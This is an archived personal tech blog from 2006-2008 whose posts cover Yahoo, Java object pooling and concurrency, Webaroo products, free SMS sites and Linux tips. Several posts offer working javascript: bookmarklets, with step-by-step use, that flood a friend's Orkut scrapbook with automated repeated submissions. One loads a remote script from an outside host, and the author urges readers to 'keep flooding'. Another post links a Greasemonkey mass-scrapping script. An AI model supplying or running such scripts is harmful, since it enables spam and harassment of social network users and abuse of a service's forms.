Something about CS/IT and Web

Yahoo and Social Networking

2008-08-12T22:22:00.005+05:30

Just read
"Facebook Is Not Only The World’s Largest Social Network, It Is Also The Fastest Growing" from techcrunch.com and missed yahoo(company with largest mail user base) in list. Remember Yahoo 360 and Yahoo mash. I neither see process in putting down Yahoo 360, nor in making YahooMash publicily available.

Update(Oct 14,2008): Yahoo did it again. They have launched another social network, called SpotM. Source: Pluggd.in and Techcrunch

Java Myth: Object Pooling

2008-07-14T01:18:00.003+05:30

Since first day in industry, I have been told object creation is expensive in java and one need to create pool for object to improve performance. Here is apache's package for http://commons.apache.org/pool/ Today, while reading a java book named "Java Concurrency in Practice", I came to know it is no longer valid concept now. Excerpt from the book:

"11.4.7. Just Say No to Object Pooling
In early JVM versions, object allocation and garbage collection were slow,[13] but their performance has improved substantially since then. In fact, allocation in Java is now faster than malloc is in C: the common code path for new Object in HotSpot 1.4.x and 5.0 is approximately ten machine instructions.

To work around "slow" object lifecycles, many developers turned to object pooling, where objects are recycled instead of being garbage collected and allocated anew when needed. Even taking into account its reduced garbage collection overhead, object pooling has been shown to be a performance loss[14] for all but the most expensive objects (and a serious loss for light- and medium-weight objects) in single-threaded programs (Click, 2005).

In concurrent applications, pooling fares even worse. When threads allocate new objects, very little inter-thread coordination is required, as allocators typically use thread-local allocation blocks to eliminate most synchronization on heap data structures. But if those threads instead request an object from a pool, some synchronization is necessary to coordinate access to the pool data structure, creating the possibility that a thread will block. Because blocking a thread due to lock contention is hundreds of times more expensive than an allocation, even a small amount of pool-induced contention would be a scalability bottleneck. (Even an uncontended synchronization is usually more expensive than allocating an object.) This is yet another technique intended as a performance optimization but that turned into a scalability hazard. Pooling has its uses,[15] but is of limited utility as a performance optimization.

[13] As was everything else synchronization, graphics, JVM startup, reflectionpredictably so in the first version of an experimental technology.

[14] In addition to being a loss in terms of CPU cycles, object pooling has a number of other problems, among them the challenge of setting pool sizes correctly (too small, and pooling has no effect; too large, and it puts pressure on the garbage collector, retaining memory that could be used more effectively for something else); the risk that an object will not be properly reset to its newly allocated state, introducing subtle bugs; the risk that a thread will return an object to the pool but continue using it; and that it makes more work for generational garbage collectors by encouraging a pattern of old-to-young references.
^[15] In constrained environments, such as some J2ME or RTSJ targets, object pooling may still be required for effective memory management or to manage responsiveness."

Java: ArrayList and HashMap Concurrency Issues

2008-07-10T22:36:00.002+05:30

"The synchronized collections classes, Hashtable and Vector, and the synchronized wrapper classes, Collections.synchronizedMap and Collections.synchronizedList, provide a basic conditionally thread-safe implementation of Map and List. However, several factors make them unsuitable for use in highly concurrent applications -- their single collection-wide lock is an impediment to scalability and it often becomes necessary to lock a collection for a considerable time during iteration to prevent ConcurrentModificationExceptions. The ConcurrentHashMap and CopyOnWriteArrayList implementations provide much higher concurrency while preserving thread safety, with some minor compromises in their promises to callers. ConcurrentHashMap and CopyOnWriteArrayList are not necessarily useful everywhere you might use HashMap or ArrayList, but are designed to optimize specific common situations. Many concurrent applications will benefit from their use."

Summary from:
http://www.ibm.com/developerworks/java/library/j-jtp07233.html

India Job Search Engine

2008-06-13T20:36:00.003+05:30

Here I am,
I have created one vertical(actually custom) search engine, which help us to find jobs in India. Click here to visit now.
I am using google cse for its core parts, google app engine for hosting, google analytics for tracking, google docs for feeback form, google apps for domain hosting. Sincere thanks google for it.
I am looking for people feedback on it for improving it more and more

Proto.in Startup Event at Delhi

2008-05-18T16:37:00.006+05:30

Date: July 18-19,2008
Venue: IIT Delhi (tentative)
Details are at:
http://www.brajeshwar.com/2008/proto-july-2008-delhi/trackback/
and
http://blog.proto.in/2008/05/17/july-edition-attendee-registrations-open/

Registration at:
http://www.proto.in/proto2008se/registration/

More demands from Wikislices

2008-03-28T11:28:00.002+05:30

It has been 5 months since wikislice released by webaroo and it is getting good enough response in terms of feedback. There has been number of requests by users for letting them download wikislices which are having more than 2000 pages. But today morning has been much more special for me, latest two mails in my inbox is related to extend wikislices. One is asking mac version of wikislices and second one spanish version of it. I will certainly add these demands in product roadmap.

Thank you very much for good response.

Webaroo 2 Released

2008-03-03T10:47:00.003+05:30

Webaroo has released its 2.0 version on its client. Its comes with feature like saving videos,photos and webpages with single click. More imp., it stores your web history, so if you have visited some pages X days before, you don't have to connected to internet for revisiting the pages.

Here is the link for it:
http://my.webaroo.com/

Microsoft - Google Coldwar

2008-02-04T15:19:00.001+05:30

Microsoft wants to acquire Yahoo
http://www.microsoft.com/presspass/press/2008/feb08/02-01CorpNewsPR.mspx
Google's Response on it
http://googleblog.blogspot.com/2008/02/yahoo-and-future-of-internet.html
Microsoft's response of Google's response
http://www.microsoft.com/presspass/press/2008/feb08/02-03Statement.mspx?rss_fdn=Press%20Releases

Update (11 Feb)
Yahoo officially rejects Microsoft's $44B takeover bid

Yahoo! Board of Directors Says Microsoft's Proposal Substantially Undervalues Yahoo!

Hacking Orkut - Latest scrapbook flooder

2008-01-28T01:23:00.000+05:30

As there was a comment on my last postings orkut scrapbook flooder & orkut scrapbook flooder-2 saying that they don't work, here the latest script that works..

Steps to follow:
1) To go your friend's scrapbook page
2) Type your scrap box given there (don't post it)
3) Copy the following line

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://dksidana.googlepages.com/flood.js';void(0)

4) paste this address bar (where you put domain e.g. www.yahoo.com etc. )
5) press enter..
6) close the page to stop the script..

Wikimedia Vs Google

2008-01-06T01:40:00.000+05:30

Dec 23, 2006: Wikimedia decided to launch its own search engine called 'Wikiasari'.
http://www.techcrunch.com/2006/12/23/wikipedia-to-launch-searchengine-exclusive-screenshot/

Dec 13, 2007: Google announces 'Knol'- a Wikipedia competitor
http://googleblog.blogspot.com/2007/12/encouraging-people-to-contribute.html

Dec. 24,2007: Jimmy Wales announced that Wikia Search had entered "private pre-alpha", with a planned public launch date of Jan 7, 2007.
http://lists.wikia.com/pipermail/search-l/2007-December/000845.html

I am not having very much interest in success of Knol and Wikiasari, but I want to see what happens when a profit based organization and an non-profit based organization takes on each other.

Wikislice By Webaroo

2007-10-17T21:39:00.000+05:30

WikiSlices are defined as collection of wikipedia pages on a particular topic. It gives you much better browsing options on wikipedia compare to what you get wikipedia itself. Let me take an take example: Assume your topic of interest is Paris. Just type "Paris" in searchbox provided on homepage at (http://wikislice.webaroo.com/), it will take you to the URL : http://wikislice.webaroo.com/wikislice/Paris
The very thing, you will note here is lines written just below "wikipedia on Paris", which summarizes what actually is Paris. Then below to that are "Random Picks", which takes on you to the random wikipedia pages related to Paris. Below to random picks, we have "Popular Pages" about Paris, which tells you what is popular about Paris in all over world.
Then on right hand side, in pink background, there are "subtopics" which will help you in better digging of things related your interest.
Below to Subtopics, there are "Related Wikislices", which gives other slices which might be of interest to you.

We have covered everything ?? Nopes. Have a look at above "Subtopics". There are,
1) Download Button: Which help you to download this wikislice on your window PC. (Believe me just single click)
2) Share this: sharing this wikislice.
3) Search box: For searching inside this slice.

Check it your topic at : http://wikislice.webaroo.com

BarCampMumbai2

2007-10-06T19:56:00.000+05:30

Venue: SOM, IIT Bombay
Date: 14th Oct
Entry: write your name of http://barcamp.org/BarCampMumbai2
Topics to be discussed:
· Ajax - Web 2.0 - Rich User Interface
· XML
· SOA
· Agile Development
· Services on the Web and Web Services,
· Internationalization/Localization
· Mobile Computing / Mobile Technology / Handheld Device - iPod/Palm etc
· Telecom Technology (including but not limited to Speech Technologies, Asterisk, VoiceXml, CCXML, SCXML, Skype, Voip)
· RFID
· Social Networking
· Future Web (In Broad context may overlap with above)
· Google Gears
· FLICKR API/ FACEBOOK API/ Webservices/Google API's

Be there.

Social Networking Portability

2007-08-18T17:02:00.000+05:30

I have been thinking on this problem in my free time for approx. 2 years from now. But never got time to sit and write problem specs. or give full thought on it. Today while reading blogs, got a great link, authored by Brad Fitzpatrick , creator of Livejournal.

http://bradfitz.com/social-graph-problem/

Free SMS in India : That's all what an indian want?

2007-07-28T18:07:00.000+05:30

I started using mobile 4-5 years back [time when incoming calls made free] , since than I use to search on net what are website that are provides sending free SMS. Every month, we use to discover a new site which does it and sooner that site you to place some restriction on number of SMS by asking registeration on site. And that number use of something like one per day or max. 5/10 per account creation.

5 year since those days and till date, no stable brand in market. You can search for "free SMS india" on search engine and you will get 100 of sites. But in last one year, this area is coming in more and more highlights, reason was success of www.twitter.com in US. India is certain has 10x-20x mobile users then internet user. So certainly this is going to be a hot area in India. There are good number of fighter for it, like sms.webaroo.com, mgarlic.com, mginger.com, bigadda.com, 160by2.com, krifysms.com

BTW, I am currently liking http://www.160by2.com/

Update: SMSGupshup by Webaroo (http://smsgupshup.com/) has started to provide free personal messages and picture messages.

Orkut: Scrap All Friends With One Click

2007-06-26T09:43:00.000+05:30

Step 1:
1) If you don't have firefox, install it from here
2) If you don't have Greasemonkey extension, install it from here
3) Click here to install this script
4) Go it www.orkut.com/sa
5) Flood whatever you want..

Script was written by http://ctrl-copy.blogspot.com/
Information Source: http://www.devilsworkshop.org/

Latest orkut scrapbook flooder

2007-06-10T14:04:00.000+05:30

As there was a comment on my last posting orkut scrapbook flooder saying that doesn't work, here the latest script that works..

Steps to follow:
1) To go your friend's scrapbook page
2) Type your scrap box given there (don't post it)
3) Copy the following line

javascript:i=0;sar=document.getElementsByTagName('TEXTAREA').item(0).value; document.body.innerHTML+='<iframe name="TextFlooding" width="600" height="320"></iframe>'; document.forms[1].target='TextFlooding'; setInterval("document.getElementsByTagName('TEXTAREA').item(0).value=sar +' '+ i;a=_submitForm(document.forms[1], 'submit', '');i++",1200);void(0)

4) paste this address bar (where you put domain e.g. www.yahoo.com etc. )
5) press enter..
6) close the page to stop the script..

UPDATE(July 28,2007): Script has been modified to work again as some users reported bug. Keep flooding..

UPDATE2(Jan 28,2008): Above script doesnt work. Latest orkut scrapbook flooder is here

Orkut Scraps to RSS Reader

2007-06-02T00:01:00.000+05:30

If you are read your or anyone's scrap you can do it using a small script by NGCoder

You can find it here..
http://www.ngcoders.com/php/orkut-scraps-to-rss-reader/

Orgoo.com

2007-05-27T22:28:00.000+05:30

"http://www.orgoo.com emulates Outlook-style desktop mail applications extremely well, it also integrates instant messaging from all of the major IM providers directly into the interface." says TechCrunch

Looks interesting to me but still waiting for invitation :(

Java Articles/Blogs

2007-05-27T22:19:00.000+05:30

It has been around a year when I started reading blogs but most of the blogs I read hardly anything to do with my job i.e. Java. I have been subscribed to newsletter off http://www.javawolrd.com and http://java.sun. com but I still want more latest tutorials about Java. Can someone please point me out some good blogs related to Java?

Udpate:
Some good articles are at
http://java.sun.com/developer/technicalArticles/
http://www.ibm.com/developerworks/views/java/libraryview.jsp
http://www.onjava.com
http://www.javaworld.com

Yahoo tried to acquire Google

2007-01-18T11:40:00.000+05:30

The Yahoo CEO had offered to buy Google for roughly $3 billion in 2002, but the young Internet search firm wasn't interested.
Full Story at
http://www.wired.com/news/wiredmag/0,72497-1.html?tw=wn_story_page_next1

What is the scrapbook for?

2006-09-20T23:18:00.000+05:30

Have a look at
What is the scrapbook for?

It says:

The scrapbook feature is another way for you to add tidbits of information to your profile. Share a funny story or reveal a little known fact about yourself. Click on the "formatting tips" button to learn how to change the color of the text or add a smiley face.

You can also add messages to other members' scrapbooks. To do this, visit their profile and click on the "view scrapbook" button. Enter your message into the box and click "submit." Your entry will appear in their profile instantly. If you change your mind about what you've written, you can always return to their scrapbook and click the "delete" link next to your scrap.

---

You can easily get why scrapbook was designed, for what purposes we are using it. An area which was designed like a guestbook on homepage, and we are using it like chatting utility, just because it is accessible on port 80 and we dont any other having successful chatting portal on port 80.

While discussing with friend, the feature which made scrapbook successful is that scrapbook is public. I can get info about things which is person X by looking at his/her scrapbook. So orkut is further than gtalk as it provides public chat logs whereas gtalk store it only for the persons who did that chat.

I hate scrapbook just because it doesn't give me search options which has been neccessary at point becuase people started sending usual info like their current contact no./contact address on scrap and no. of scrap has increased to thousands.

Google personalized homepage has tab now.

2006-09-15T10:35:00.000+05:30

Ohh Sorry, only http://www/google.com/ig has tabs. If u will try www.google.co.in/ig will not show you tabs. One more thing to show that google is still a child.

Blogger in Beta

2006-08-15T08:55:00.000+05:30

At last, google litsened to us. Blogspot has its new version with lots of capability. Take a look at
http://buzz.blogger.com/2006/08/blogger-in-beta.html

No doubt, I will continue to use blogspot.

Run Firefox from USB/removable media

2006-07-25T22:36:00.000+05:30

From http://www.mozilla.org/support/firefox/tips#oth_usb

This advanced tip makes it possible to run Firefox from removable media, such as a USB memory stick. This will allow you to run Firefox with your personal settings from any computer, even those that don't have Firefox installed. It has only been tested on Windows XP/2000. The basic instructions are as follows:

Copy the Firefox application folder and your profile folder to the removable medium. In this example we will use R:\Firefox for the application folder and R:\FFProfile as the profile folder, assuming the drive letter for the removable media is R:.
Create a simple batch file called R:\Firefox.bat with the following line:
```
start \Firefox\firefox.exe -profile \FFProfile
```
Optionally, disable the disk cache to reduce the amounts of file writes to the removable storage by entering about:config in the address field of Firefox and set browser.cache.disk.enable to false.

The reason why a batch file is needed instead of a simple shortcut is that a shortcut uses absolute paths, and since the actual drive letter for the removable media may change depending on which coputer it is plugged into, the relative path used in the batch file is guaranteed to work anywhere.

This seems to be only for Windows. I hope same exist for linux. But is there something like this which is OS independant ?

Mounting ISO images in Linux

2006-07-23T17:43:00.000+05:30

Want to get one file out of a big .ISO file? Or want to see the contents of an ISO file. You can mount ISO file directly in Linux.
Commant:

mount -o loop /path/to/file.iso /path/to/mount/point